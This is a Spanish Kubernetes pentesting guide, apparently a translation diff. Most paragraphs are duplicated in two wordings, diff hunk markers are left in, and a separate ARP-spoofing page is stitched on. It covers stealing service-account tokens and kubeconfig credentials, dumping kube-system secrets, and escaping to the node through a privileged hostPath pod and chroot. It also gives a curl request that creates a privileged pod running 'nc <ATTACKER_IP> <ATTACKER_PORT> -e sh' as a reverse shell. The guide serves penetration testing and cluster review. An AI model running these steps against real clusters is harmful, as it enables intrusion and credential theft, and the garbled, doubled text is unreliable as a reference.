Si has comprometido acceso a una máquina, el usuario puede tener acceso a alguna plataforma Kubernetes. El token suele estar ubicado en un archivo señalado por la **env var `KUBECONFIG`** o **dentro de `~/.kube`**.
En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al API server**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
En esta carpeta puedes encontrar archivos de config con **tokens y configurations para conectarse al API server**. En esta carpeta también puedes encontrar una carpeta de cache con información recuperada previamente.
Si has comprometido un pod dentro de un entorno kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
Si has comprometido un pod dentro de un entorno kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el K8 env actual:
### Service Account Tokens
Antes de continuar, si no sabes qué es un service en Kubernetes te sugiero **seguir este enlace y leer al menos la información sobre Kubernetes architecture.**
Antes de continuar, si no sabes qué es un service en Kubernetes te sugeriría **seguir este link y leer al menos la información sobre la arquitectura de Kubernetes.**
Tomado de la [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) de Kubernetes:
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount** es un objeto gestionado por Kubernetes y usado para proporcionar una identidad a los procesos que se ejecutan en un pod.\
Cada service account tiene un secret asociado y este secret contiene un bearer token. Esto es un JSON Web Token (JWT), un método para representar claims de forma segura entre dos partes.
**ServiceAccount** es un objeto gestionado por Kubernetes y usado para proporcionar una identity a los procesos que se ejecutan en un pod.\
Cada service account tiene un secret relacionado y este secret contiene un bearer token. Esto es un JSON Web Token (JWT), un método para representar claims de forma segura entre dos partes.
Normalmente **uno** de los directorios:
Normalmente **una** de las directorios:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
@@ -33,21 +33,21 @@ contiene los archivos:
- **namespace**: Indica el namespace actual
- **token**: Contiene el **service token** del pod actual.
Ahora que tienes el token, puedes encontrar el API server dentro de la variable de entorno **`KUBECONFIG`**. Para más información ejecuta `(env | set) | grep -i "kuber|kube`**`"`**
Ahora que tienes el token, puedes encontrar el API server dentro de la env var **`KUBECONFIG`**. Para más info ejecuta `(env | set) | grep -i "kuber|kube`**`"`**
El service account token está siendo firmado por la clave que reside en el archivo **sa.key** y validado por **sa.pub**.
El service account token está siendo firmado por la key que reside en el archivo **sa.key** y validado por **sa.pub**.
Ubicación predeterminada en **Kubernetes**:
Ubicación por defecto en **Kubernetes**:
- /etc/kubernetes/pki
Ubicación predeterminada en **Minikube**:
Ubicación por defecto en **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods que contienen un service account token privilegiado. Un service account token privilegiado es un token que tiene permiso para realizar tareas privilegiadas como listar secrets, crear pods, etc.
_**Hot pods are**_ pods que contienen un privileged service account token. Un privileged service account token es un token que tiene permiso para hacer tareas privilegiadas como listar secrets, crear pods, etc.
## RBAC
@@ -55,20 +55,20 @@ Si no sabes qué es **RBAC**, **lee esta sección**.
## GUI Applications
- **k9s**: Una GUI que enumera un clúster kubernetes desde el terminal. Revisa los comandos en[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona all para luego buscar recursos en todos los namespaces.
- **k9s**: Una GUI que enumera un clúster kubernetes desde el terminal. Revisa los commands en[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona all para luego buscar resources en todos los namespaces.
- **k8slens**: Ofrece algunos días de prueba gratis: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
Para enumerar un entorno K8 necesitas un par de cosas:
Para enumerar un entorno K8s necesitas un par de cosas:
- Un **token de autenticación válido**. En la sección anterior vimos dónde buscar un token de usuario y un service account token.
- La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Normalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube.
- **Opcional**: El **ca.crt para verificar el API server**. Se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del API server, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no lo necesitarás.
- Un **valid authentication token**. En la sección anterior vimos dónde buscar un token de usuario y un service account token.
- La **address (**_**https://host:port**_**) de la Kubernetes API**. Normalmente se puede encontrar en las environment variables y/o en el archivo de kube config.
- **Optional**: El **ca.crt para verificar el API server**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del API server, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no lo necesitarás.
Con esos detalles puedes **enumerar kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, simplemente puedes descargar esa información y enumerar la plataforma desde tu host.
Con esos detalles puedes **enumerate kubernetes**. Si la **API** por alguna razón es **accessible** a través de **Internet**, puedes simplemente descargar esa info y enumerate la plataforma desde tu host.
Sin embargo, normalmente el **API server está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, o usar **`curl/wget/anything`** para realizar peticiones HTTP directas al API server.
Sin embargo, normalmente el **API server está dentro de una red interna**, por lo tanto necesitarás **crear un tunnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, o usar **`curl/wget/anything`** para realizar raw HTTP requests al API server.
### Differences between `list` and `get` verbs
@@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Si tienes el permiso **`watch`**, estás autorizado a ejecutar solicitudes API para monitorizar assets:
Si tienes el permiso **`watch`**, se te permite ejecutar solicitudes API para monitorizar assets:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,12 +91,12 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo).
Ellos abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo).
> [!CAUTION]
> Los siguientes comandos `kubectl` solo indican cómo listar los objetos. Si quieres acceder a los datos, necesitas usar `describe` en lugar de `get`
> Los siguientes comandos `kubectl` indican solo cómo listar los objetos. Si quieres acceder a los datos necesitas usar `describe` en lugar de `get`
### Usando curl
### Using curl
Desde dentro de un pod puedes usar varias variables de entorno:
```bash
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> De forma predeterminada, el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red de kube en **`/etc/resolv.config`**; ahí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el endpoint del kube-api).
> Por defecto el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el endpoint de kube-api).
### Using kubectl
### Usando kubectl
Teniendo el token y la dirección del API server, usas kubectl o curl para acceder a él como se indica aquí:
Por defecto, The APISERVER se está comunicando con el esquema `https://`
Por defecto, APISERVER se comunica con el esquema `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> si no hay `https://` en la url, puedes obtener un Error como Bad Request.
Puedes encontrar una [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.
Puedes encontrar una [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de forma ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.
Para encontrar la solicitud HTTP que `kubectl` envía puedes usar el parámetro `-v=8`
Para encontrar la solicitud HTTP que `kubectl` envía, puedes usar el parámetro `-v=8`
#### MitM kubectl - Proxyfying kubectl
```bash
@@ -161,7 +161,7 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Obtener recursos soportados
### Obtener recursos compatibles
Con esta información sabrás todos los servicios que puedes listar
@@ -174,22 +174,48 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### Metadatos de object worth checking
### Metadatos del objeto que vale la pena revisar
Cuando puedes leer un object, exporta el YAML o JSON completo en lugar de depender solo de la salida de tabla o de `describe`. El contexto de seguridad más útil suele estar en campos genéricos del object que existen en muchos tipos de recursos:
Cuando puedas leer un objeto, exporta el YAML o JSON completo en lugar de depender solo de la salida en tabla o de `describe`. El contexto de seguridad más útil suele estar en campos genéricos del objeto que existen en muchos tipos de recursos:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` y `kind` identifican el objeto exacto y evitan confusión entre objetos con el mismo nombre en diferentes namespaces o API groups.
- `metadata.labels` y selectors conectan Services, Deployments, ReplicaSets, Pods, NetworkPolicies y automation. Seguir selectors suele ser la forma más rápida de identificar los verdaderos backend pods para un Service.
- `metadata.annotations` puede leak contexto operativo como comportamiento de ingress, ajustes de cloud load balancer, metadatos de GitOps o Helm, excepciones de policy y configuración de service mesh. No deberían contener secrets, pero los clústeres reales a menudo exponen pistas útiles ahí.
- `metadata.ownerReferences` muestra la linaje del controller. Si un Pod es propiedad de un ReplicaSet que a su vez es propiedad de un Deployment, cambiar o borrar solo el Pod normalmente no arregla la fuente.
- `metadata.uid`, `name`, `namespace`, `apiVersion` y `kind` identifican el objeto exacto y evitan confusión entre objetos con el mismo nombre en diferentes namespaces o grupos API.
- `metadata.labels` y los selectors conectan Services, Deployments, ReplicaSets, Pods, NetworkPolicies y automatización. Seguir selectors suele ser la forma más rápida de identificar los Pods backend reales para un Service.
- `metadata.annotations` puede filtrar contexto operativo como comportamiento de ingress, ajustes de cloud load balancer, metadatos de GitOps o Helm, excepciones de policy y configuración de service mesh. No deberían contener secrets, pero los clusters reales suelen exponer ahí pistas útiles.
- `metadata.ownerReferences` muestra la genealogía del controller. Si un Pod pertenece a un ReplicaSet que pertenece a un Deployment, cambiar o borrar solo el Pod normalmente no soluciona la fuente.
- `metadata.finalizers` y `metadata.deletionTimestamp` explican recursos atascados en eliminación y pueden revelar cleanup controllers o trucos de persistence/disruption.
- `status`, Events y conditions pueden revelar node placement, pod IPs, image IDs, mensajes de error, problemas de scheduling, admission denials y progreso del controller. Son pistas útiles, pero los audit logs siguen siendo necesarios para probar quién realizó una acción.
- `status`, Events y conditions pueden revelar ubicación de nodo, IPs de pod, image IDs, mensajes de fallo, problemas de scheduling, denegaciones de admission y progreso del controller. Son pistas útiles, pero los audit logs siguen siendo necesarios para probar quién realizó una acción.
### Get Current Privileges
### Dynamic Resource Allocation and device evidence
Si el cluster usa GPUs, NICs, FPGAs u otro hardware especializado, comprueba si Kubernetes Dynamic Resource Allocation (DRA) está presente. DRA usa objetos `resource.k8s.io` como `DeviceClass`, `ResourceSlice`, `ResourceClaim` y `ResourceClaimTemplate` para describir los dispositivos disponibles y reclamarlos para Pods. Estos objetos pueden revelar qué nodos pueden acceder a hardware valioso, qué driver lo gestiona y qué workload tiene una allocation.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
Durante la revisión, restringe las escrituras a los objetos `DeviceClass` y `ResourceSlice` con ámbito de cluster a admins y DRA drivers, y mantiene los derechos de `ResourceClaim` / `ResourceClaimTemplate` limitados a los namespaces que los necesiten. Los permisos del driver para actualizar el status de `ResourceClaim` deben ser explícitos y acotados. En los nodes, la kubelet PodResources API suele exponerse a través de `/var/lib/kubelet/pod-resources/kubelet.sock`; los DaemonSets de monitoring pueden montar ese directorio para inspeccionar dispositivos asignados, así que revisa esos Pods como cualquier otro agente privilegiado del nodo.
### ClusterTrustBundle y confianza de certificados de add-on
Los clusters recientes pueden exponer objetos `ClusterTrustBundle` en el grupo de API `certificates.k8s.io`. Son bundles de trust anchor X.509 con ámbito de cluster que los Pods pueden montar mediante projected volumes. Se espera un amplio acceso de lectura, pero el acceso de escritura es sensible porque cambiar roots de confianza puede afectar a webhooks, aggregated APIs, service meshes y applications que consumen material CA distribuido por el cluster.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
Durante la revisión, registra `signerName`, huellas digitales del bundle, identidades de writer, consumers de projected-volume, y cualquier trust-distribution controller como cert-manager trust-manager. Trata los objetos `APIService` con `insecureSkipTLSVerify: true`, valores `caBundle` obsoletos, o permisos amplios para parchear campos de trust de APIService/webhook como findings de certificate-trust en lugar de inventario ordinario de objetos.
### Obtener Privilegios Actuales
{{#tabs }}
{{#tab name="kubectl" }}
@@ -212,7 +238,7 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Otra forma de comprobar tus privilegios es usando la herramienta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Otra forma de comprobar tus privilegios es usar la herramienta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Puedes aprender más sobre **Kubernetes RBAC** en:
@@ -220,13 +246,13 @@ Puedes aprender más sobre **Kubernetes RBAC** en:
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Una vez que sepas qué privilegios** tienes, revisa la siguiente página para ver **si puedes abusar de ellos** para escalar privilegios:
**Una vez que sepas qué privilegios** tienes, consulta la siguiente página para averiguar **si puedes abusar de ellos** para escalar privilegios:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Obtener otros roles
### Obtener roles de otros
{{#tabs }}
{{#tab name="kubectl" }}
@@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
### Obtener namespaces
Kubernetes soporta **múltiples clústeres virtuales** respaldados por el mismo clúster físico. Estos clústeres virtuales se llaman **namespaces**.
Kubernetes soporta **multiple virtual clusters** respaldados por el mismo physical cluster. Estos virtual clusters se llaman **namespaces**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -287,7 +313,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
```
### Obtener Service Accounts
Como se discutió al principio de esta página **cuando se ejecuta un pod, normalmente se le asigna un service account**. Por lo tanto, listar los service accounts, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
Como se comentó al comienzo de esta página **cuando se ejecuta un pod, normalmente se le asigna un service account**. Por lo tanto, listar los service accounts, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -343,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
### Obtener Pods
Los Pods son los **containers** reales que se **ejecutan**.
Los Pods son los **containers** reales que se **ejecutan**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Obtener Services
Los **services** de Kubernetes se usan para **exponer un servicio en un puerto e IP específicos** (que actuarán como load balancer para los pods que realmente ofrecen el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
Kubernetes **services** se usan para **exponer un service en un puerto e IP específicos** (que actuarán como load balancer para los pods que realmente están ofreciendo el service). Esto es interesante para saber dónde puedes encontrar otros services para intentar atacar.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -381,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
### Obtener nodes
Obtener todos los **nodes configurados inside the cluster**.
Obtener todos los **nodes configurados dentro del cluster**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### Obtener DaemonSets
**DaemonSets** aseguran que un **Pod específico se ejecute en todos los nodos seleccionados** del cluster. Si eliminas el DaemonSet, los Pods gestionados por él también se eliminarán.
**DaemonSets** aseguran que un **Pod específico se esté ejecutando en todos los nodos seleccionados** del cluster. Si eliminas el DaemonSet, los Pods gestionados por él también se eliminarán.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
### Obtener Jobs
Jobs crean Pods que se ejecutan hasta completarse. Se usan comúnmente para migraciones, backups, trabajo por lotes y tareas administrativas puntuales.
Los Jobs crean Pods que se ejecutan hasta completarse. Se usan comúnmente para migraciones, backups, tareas por lotes y tareas administrativas puntuales.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -436,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
### Obtener CronJobs
CronJobs usan un schedule tipo crontab para crear Jobs que lanzan Pods para ejecución de tipo tarea.
CronJobs usan una programación tipo crontab para crear Jobs que lanzan Pods para ejecución de tipo tarea.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### Obtener configMap
configMap siempre contiene mucha información y archivos de configuración que se proporcionan a las apps que se ejecutan en kubernetes. Normalmente puedes encontrar muchas passwords, secrets, tokens que se usan para conectarse y validarse con otros servicios internos/externos.
configMap siempre contiene mucha información y configfile que se proporciona a las apps que se ejecutan en kubernetes. Normalmente puedes encontrar muchas passwords, secrets, tokens que se usan para conectarse y validarse en otros servicios internos/externos.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -515,11 +541,11 @@ k top pod --all-namespaces
## Interacting with the cluster without using kubectl
Teniendo en cuenta que el control plane de Kubernetes expone una API RESTful, puedes crear manualmente peticiones HTTP y enviarlas con otras herramientas, como **curl** o **wget**.
Viendo que el control plane de Kubernetes expone una API RESTful, puedes crear manualmente solicitudes HTTP y enviarlas con otras herramientas, como **curl** o **wget**.
### Escaping from the pod
Si puedes crear nuevos pods, quizá puedas escapar de ellos hacia el node. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiar al pod creado y luego hacer chroot al sistema del node. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y pathes existentes.
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el node. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiarte al pod creado y luego hacer chroot al sistema del node. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y paths existentes.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
@@ -527,7 +553,7 @@ kubectl get pod <name> [-n <namespace>] -o yaml
>
> `k get nodes --show-labels`
>
> Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas labels para seleccionar.
> Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas labels para select.
Luego creas tu archivo attack.yaml
```yaml
@@ -565,11 +591,11 @@ Después de eso creas el pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Ahora puedes cambiar al pod creado de la siguiente manera
Ahora puedes cambiarte al pod creado de la siguiente manera
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
Y finalmente haces chroot al sistema del nodo
Y finalmente haces chroot en el sistema del nodo
```bash
chroot /root /bin/bash
```
@@ -621,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar un pod
### Delete a pod
Eliminar un pod con curl:
Borra un pod con curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -640,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Crear un Service Account
### Crear una Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -658,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar una Service Account
### Eliminar un Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Introducción
## Introduction
En Kubernetes, se observa que un comportamiento por defecto permite el establecimiento de conexiones entre **todos los containers que residen en el mismo node**. Esto aplica sin importar las diferencias de namespace. Esta conectividad llega hasta **Layer 2** (Ethernet). En consecuencia, esta configuración expone potencialmente el sistema a vulnerabilidades. Específicamente, abre la posibilidad de que un **malicious container** ejecute un **ARP spoofing attack** contra otros containers situados en el mismo node. Durante un ataque de este tipo, el malicious container puede interceptar o modificar de forma engañosa el tráfico de red destinado a otros containers.
En Kubernetes, se observa que un comportamiento predeterminado permite el establecimiento de conexiones entre **todos los containers que residen en el mismo node**. Esto aplica sin importar las diferencias de namespace. Esta conectividad se extiende hasta **Layer 2** (Ethernet). En consecuencia, esta configuración potencialmente expone el sistema a vulnerabilities. En concreto, abre la posibilidad de que un **malicious container** ejecute un **ARP spoofing attack** contra otros containers situados en el mismo node. Durante un ataque de este tipo, el malicious container puede interceptar o modificar de forma engañosa el network traffic destinado a otros containers.
Los ARP spoofing attacks implican que el **attacker envíe mensajes ARP falsificados** (Address Resolution Protocol) a través de una red local. Esto da como resultado la asociación de la **MAC address del attacker con la IP address de una computadora o servidor legítimo en la red**. Tras ejecutar con éxito un ataque de este tipo, el attacker puede interceptar, modificar o incluso detener los datos en tránsito. El ataque se ejecuta en Layer 2 del modelo OSI, por lo que la conectividad por defecto en Kubernetes en esta layer plantea preocupaciones de seguridad.
Los ARP spoofing attacks implican que el **attacker envíe mensajes ARP falsificados** (Address Resolution Protocol) a través de una local area network. Esto provoca la vinculación de la **MAC address del attacker con la IP address de un ordenador o servidor legítimo en la network**. Tras ejecutar con éxito un ataque de este tipo, el attacker puede interceptar, modificar o incluso detener datos en tránsito. El ataque se ejecuta en Layer 2 del modelo OSI, por lo que la conectividad predeterminada en Kubernetes en esta layer plantea concerns de seguridad.
En el escenario se van a crear 4 machines:
- ubuntu-pe: Machine privilegiada para escapar al node y comprobar métricas (no necesaria para el ataque)
- **ubuntu-attack**: container **Malicious** en el namespace default
- **ubuntu-victim**: machine **Victim** en el namespace kube-system
- **mysql**: machine **Victim** en el namespace default
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -98,20 +98,36 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## Basic Kubernetes Networking
Si quieres más detalles sobre los temas de networking introducidos aquí, ve a las referencias.
Si quieres más detalles sobre los topics de networking introducidos aquí, ve a las references.
### ARP
En términos generales, **pod-to-pod networking inside the node** está disponible a través de un **bridge** que conecta todos los pods. Este bridge se llama “**cbr0**”. (Algunos network plugins instalarán su propio bridge.) El **cbr0 también puede manejar ARP** (Address Resolution Protocol) resolution. Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino usando ARP.
Generalmente, **pod-to-pod networking inside the node** está disponible mediante un **bridge** que conecta todos los pods. Este bridge se llama “**cbr0**”. (Algunos network plugins instalarán su propio bridge.) El **cbr0 también puede manejar ARP** (Address Resolution Protocol) resolution. Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino usando ARP.
Este hecho implica que, por defecto, **cada pod ejecutándose en el mismo node** va a poder **communicate** con cualquier otro pod en el mismo node (independientemente del namespace) a nivel ethernet (layer 2).
Este hecho implica que, por defecto, **cada pod ejecutándose en el mismo node** podrá **communicate** con cualquier otro pod en el mismo node (independientemente del namespace) a nivel ethernet (layer 2).
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` es un control de tráfico de pods a nivel L3/L4, pero es enforced por el plugin CNI y no por el API server en sí. Un cluster puede almacenar objetos NetworkPolicy mientras sigue permitiendo tráfico si el CNI activo no los implementa, así que siempre valida con una source permitida controlada y una source negativa bloqueada de control.
No te quedes en `kubectl get networkpolicy -A`. Los clusters que usan Cilium, Calico, OVN-Kubernetes, Antrea o managed-provider dataplanes también pueden tener policy APIs como `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy` o `BaselineAdminNetworkPolicy`. Estas pueden añadir explicit deny, tier/order, cluster scope, reglas L7/DNS o admin guardrails que la semántica ordinaria aditiva de Kubernetes NetworkPolicy no explica.
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Para análisis de bypass, verifica si el bloqueo previsto se evita a través de un proxy permitido, DNS o egress gateway, `hostNetwork` pod, ruta local del nodo, selector amplio de namespace o pod label, o una policy admin/global de mayor precedencia. Reporta las source pod labels, namespace labels, destination Service o EndpointSlice, la implementación CNI/policy, la regla de policy que decide, y la prueba de tráfico.
### DNS
En entornos kubernetes normalmente encontrarás 1 (o más) **DNS services running** normalmente en el namespace kube-system:
En entornos kubernetes normalmente encontrarás 1 (o más) **DNS services en ejecución** usualmente en el namespace kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
En la información anterior puedes ver algo interesante: la **IP del service** es **10.96.0.10**, pero la **IP del pod** que ejecuta el service es **172.17.0.2**.
En la información anterior puedes ver algo interesante, la **IP del service** es **10.96.0.10** pero la **IP del pod** que ejecuta el service es **172.17.0.2.**
Si compruebas la dirección DNS dentro de cualquier pod, encontrarás algo como esto:
Si verificas la dirección DNS dentro de cualquier pod encontrarás algo como esto:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Sin embargo, el pod **no sabe** cómo llegar a esa **address** porque el **pod range** en este caso es 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
Por lo tanto, el pod enviará las **DNS requests a la address 10.96.0.10** que serán **translated** por el cbr0 **to** **172.17.0.2**.
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
